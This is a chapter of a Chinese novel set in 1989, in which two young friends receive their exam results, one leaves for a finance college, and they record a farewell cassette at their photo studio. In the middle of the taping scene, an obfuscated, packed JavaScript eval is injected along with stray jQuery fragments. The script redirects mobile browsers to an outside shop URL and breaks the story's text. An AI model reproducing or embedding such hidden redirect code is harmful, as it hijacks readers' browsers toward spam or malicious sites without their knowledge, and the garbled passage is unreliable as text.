高考成绩出来那天，学校门口比考试那三天还挤。
成绩单贴在教学楼一楼的长廊里，两张红纸从左墙一直排到右墙，前面堵满了人。有人踮脚，有人扒着前面同学的肩膀往里看，还有人明明已经看见自己的分数，还是站着不走，非得再把全班人的都看一遍。梁潮生把自行车往树下一靠，刚挤进去半步，就被陈斌从人群里揪住了袖子。
“我数学七十！七十！”陈斌喊得像中了奖，“我妈答应给我买双新球鞋！”
梁潮生把袖子拽回来：“你先让我进去。”
“你急什么，周念安肯定在前头。”
梁潮生顺着他说的方向看，果然看见周念安。她站在最里面，没跟人挤，手里拿着一张刚抄下来的成绩条，吴雪晴在旁边说什么，她听着，只偶尔点一下头。
他走过去：“怎么样？”
周念安把成绩条折起来：“够。”
“什么叫够？”
“第一志愿按往年情况有希望。”
梁潮生伸手：“我看看。”
“先看你自己的。”
“我人都站这儿了，你还让我重新挤？”
周念安没理他，侧过身往红纸右下方指了一下。梁潮生顺着看过去，很快找到了自己的名字。语文比联考高，数学也过了七十，英语勉强没拖后腿，总分比上次又涨了一截。可他从上看到下，再把旁边学校贴出的参考线看了一遍，脸上的笑慢慢淡了些。
省电子工业学校，差了几分。
市里的机械工业学校倒还有希望，李老师说可以等后面的录取情况，也可以去问问有没有补录。梁潮生听完只“哦”了一声，把成绩抄在纸上，折起来塞进口袋。
周念安跟着他走到走廊外：“难受？”
“有点。”
“哦。”
梁潮生停下：“你不安慰？”
“你上次六十一分的时候已经安慰过了。”
“安慰还有次数限制？”
“那你想听什么？‘差几分没关系，你已经很好了’？”
他想了一下，摇头：“算了，听着怪肉麻。”
“那就先等录取。”
梁潮生靠在栏杆上，低头摸了摸裤兜里的成绩条。过了一会儿，他才说：“其实也没上次那么难受。”
“为什么？”
“这回我知道自己考了多少，也知道差在哪儿。”他说完，又怕这话听着太像老师，自己先皱了下眉，“反正考完了。再让我回去多做两道数学也来不及。”
周念安笑了一下：“这句比较像你。”
学校里还闹哄哄的。有人已经在算去外地的车票，有人蹲在树下哭，还有人考得比预想好，绕着操场骑车转了三圈。梁潮生没有继续站着看，下午青少年宫还有维修班，他得赶车过去。临走前，周念安叫住他，把一张纸递过来。
“什么？”
“你上次问的省电子工业学校地址。”
“我都没考上，还要地址干什么？”
“招生办可以问补录。”
梁潮生把纸接过去，塞进书包：“行，问问。”
他确实去问了。
三天后回来，答案也很干脆。省电子工业学校今年没有空缺，市机械工业学校有个名额，但专业调剂到仓储设备管理，和他原来填的方向差得有点远。李老师让他再想想，梁振山也没催，只在饭桌上问了一句：“你自己什么打算？”
梁潮生把筷子搁下：“维修班先上完。红叶也开着。”
“学校呢？”
“这个不去。”
梁振山看了他一眼：“想清楚了？”
“嗯。”
“别因为没进第一志愿，跟自己赌气。”
梁潮生本来已经准备好挨训，听见这句，反而愣了愣。
“我没赌气。我就是不想为了‘有个学校上’，随便去一个自己不想学的专业。”
梁振山沉默了会儿，低头继续吃饭：“那就行。”
宋玉兰倒着急：“以后还能考吗？”
“能不能以后再说。”梁潮生夹了块豆腐，“我现在先学这个。”
梁潮平在旁边插嘴：“哥以后就是专业修收音机的。”
梁潮生抬手给他后脑勺一下：“你先把你那台拆烂的给我装回去。”
事情到这里也就算定了。没有谁在家里开会，也没出现什么“你必须怎么样”的大场面。维修班照上，红叶照开，周末梁潮生回来，把堆在维修登记里的机器一台台处理掉。有时候周念安在，有时候不在。她最近被家里拽着买东西，床单、脸盆、热水壶、搪瓷缸，赵桂兰恨不得连家里的菜刀都给她带一把。
真正的录取通知书，是八月初送到周家的。
那天下午，邮递员站在楼下喊了三遍“周念安”，半栋楼的人都先知道了。赵桂兰手上还沾着面粉就往外跑，跑到门口才想起挂号信要签字，又回来翻眼镜。周念梅下班晚，听说以后连工装都没换就骑车赶回来；周念秋更夸张，拿着通知书看完学校地址，第一句话是：“省城百货商店肯定比这边好。”
赵桂兰当场骂她：“你妹妹去念书，你就想着逛商店。”
“我顺便。”
“谁让你去了？”
“我送她。”
“用得着你送？”
“那您去，坐火车别晕。”
屋里吵成一团，周念安坐在桌边，把通知书看了两遍。省财经学院，会计学。名字、专业都没错。她把信封重新折好，抬头时，发现周建国站在门边，一直没说话。
“爸。”
周建国走过来，把通知书拿过去看了很久，最后说：“字没错吧？”
“没错。”
“专业也没错？”
“嗯。”
他这才把纸还给她：“那就收好。”
过了一会儿，又问：“车票什么时候买？”
赵桂兰在旁边愣了一下，立刻接上：“对，先买票！别到时候没座！”
那天下午，梁潮生不在旧巷。
周念安去红叶找过一次，门口挂着营业牌，里面坐的是陶小满。她已经学会登记取片，见周念安进来，先指了指墙上的排班表：“梁哥今天在青少年宫，明天下午回来。”
“我没找他。”
陶小满“哦”了一声，又低头写账。
周念安站了一会儿，觉得这句话有点多余，转身走了。第二天下午她再去，梁潮生正蹲在门口修一台旧电风扇，螺丝和垫圈在报纸上排了一地。
他听见脚步声，头也没抬：“取照片先登记。”
“我没照片。”
梁潮生手里的螺丝刀停了。
他抬头，看见她手里的牛皮纸信封。
“到了？”
“嗯。”
“财经学院？”
“嗯。”
“会计？”
“嗯。”
梁潮生站起来，手上还有黑油。他想接通知书看看，又看了看自己的手，只好在裤子上蹭了两下。蹭完还是脏，索性不接了。
“恭喜。”
就两个字。
周念安等了一会儿：“没了？”
“还要什么？”
“你平时话挺多。”
“这种时候说多了容易显得没见过世面。”
她把通知书自己收回去：“八月二十六的车。”
梁潮生弯腰把风扇的后罩装回去：“几点？”
“上午九点十分。”
“行。”
“什么行？”
“知道了。”
他没有再问。周念安也没继续说，帮他把地上滚远的一个螺丝捡回来，放到报纸上。
离二十六号还有十来天，日子忽然快起来。
红叶照常接客，周念安却来得越来越少。她要办粮油关系，要去学校领档案，还得陪母亲买被褥。周念秋坚持给她做两件“省城姑娘也能穿”的衬衫，周念梅嘴上嫌花哨，晚上还是帮着锁了扣眼。梁潮生也忙，维修班临近结课，每天从早练到下午，回来后还有照相馆的单子。
两个人再见面，已经是周念安出发前一天。
那天红叶最后一个客人走得晚。梁潮生送人出门，挂上“打烊”的牌子，再回来时，周念安还坐在柜台后面。她手边摆着新账本，已经把这半个月的账看完了，旁边有三处用铅笔做的记号。
“这里相纸少记一包。”她说。
梁潮生关门的动作一顿：“你明天都要走了，还查这个？”
“看都看见了。”
“周念安，你到了省城不会还写信回来问我相纸吧？”
“你别漏，我就不问。”
“那很难保证。”
他把门板一块块合上，最后留了临街那扇小窗。巷子里还有人乘凉，蒲扇拍腿的声音一阵阵传进来。周念安合上账本，正准备走，梁潮生忽然拉开录音抽屉。
那盘空白磁带还在最里面。
“等一下。”他说。
周念安看过去：“干什么？”
梁潮生拿出磁带，在手里转了一圈：“反正韩叔也没拿走。”
“所以？”
“录点东西。”
“录什么？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804739|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我哪知道。你明天就走了，总不能这盘一直空着。”
周念安看了他几秒，没有拒绝。
双卡录音机搬到桌上，磁带放进去。梁潮生按下录音键，小红灯亮了，两个人却谁都没先说话。平时替别人录留言，他们总嫌人紧张、嫌人不会说，现在轮到自己，足足空了十几秒。
最后还是梁潮生先开口。
“试音。”
周念安看他：“你又来？”
“总得有个开头。”
“那你继续。”
“没词了。”
她没忍住笑。
磁带还在转，连这一声也录了进去。
梁潮生把椅子往后挪了一点：“那这样。一人说三句，谁都不许提前写。”
“为什么三句？”
“多了你又要列提纲。”
“你先。”
“行。”他想了想，朝录音机说，“第一，省城到了写信，别只给家里写。第二，红叶现在账基本没问题，你不用每次回来都查。第三……”
说到这里，他卡住了。
周念安等了半天：“第三呢？”
“还没想好。”
“你自己定的三句。”
“规定可以临时改。”
“那就两句。”
“不行，显得我输。”
周念安低头笑，手指轻轻敲了敲桌面。
梁潮生看了她一眼，重新凑近录音机：“第三，别把那把银钥匙弄丢。”
周念安摸了摸口袋。
录音抽屉的银钥匙还在她这里。
“该我了？”她问。
“嗯。”
她没有马上说，窗外有人推自行车经过，车铃响了一声，跟着也录进磁带里。过了一会儿，周念安才开口：“第一，机器坏了别硬修，修不好就等。第二，账每月底结一次，别攒。第三……”
梁潮生笑：“你这跟工作交接有什么区别？”
“你别插嘴。”
“行。”
她停了一会儿。
“第三，培训班结束以后，把考试证书复印一张，寄给我看看。”
梁潮生愣了：“就这个？”
“嗯。”
“我还以为什么。”
“你以为什么？”
“没什么。”
磁带又空转了一阵。
谁都没有按停。
梁潮生靠着椅背，忽然问：“周念安，省城要是不好呢？”
“回来。”
“这么快？”
“先住够一个学期再说。”
“那要是很好？”
“就继续待着。”
“红叶呢？”
周念安看了他一眼：“你不是在吗？”
这句话录了进去。
梁潮生没再接。他低头看着机器上那点红灯，过了几秒，才伸手按停。
屋里安静下来。
“要不要重录？”他问。
“为什么？”
“太乱了。前面还空了十几秒。”
“就这样吧。”
“你平时不是最爱整理？”
“这是录音，不是账。”
梁潮生笑了一声，把磁带退出来。
标签还是空的。
他拿笔，本来想写字，又停下：“写什么？”
周念安把笔接过去，在白色小标签上写了几行。
一九八九年夏。
想了想，又在下面添：
红叶。勿外放。
梁潮生看完：“就这样？”
“就这样。”
“谁保管？”
周念安拉开抽屉，把磁带放进去。
梁潮生靠在旁边：“你明天就走了。”
她摸出口袋里的银钥匙，放到他手里。
“那你保管。”
梁潮生低头看着钥匙。
“不是一人一把？”
“店门钥匙还在你那儿。”
“那以后你回来，怎么开这个抽屉？”
周念安已经背起书包：“敲门。”
“万一我不在？”
她走到门口，又回过头。
“那就等。”
梁潮生握着那把小银钥匙，没有追出去。
周念安走了两步，听见身后传来落锁声。
咔哒。
第二天上午九点十分，她的火车会往省城开。
红叶照相馆的抽屉里，多了一盘没有复制的磁带。
标签上的字很小。
一九八九年夏。红叶。勿外放。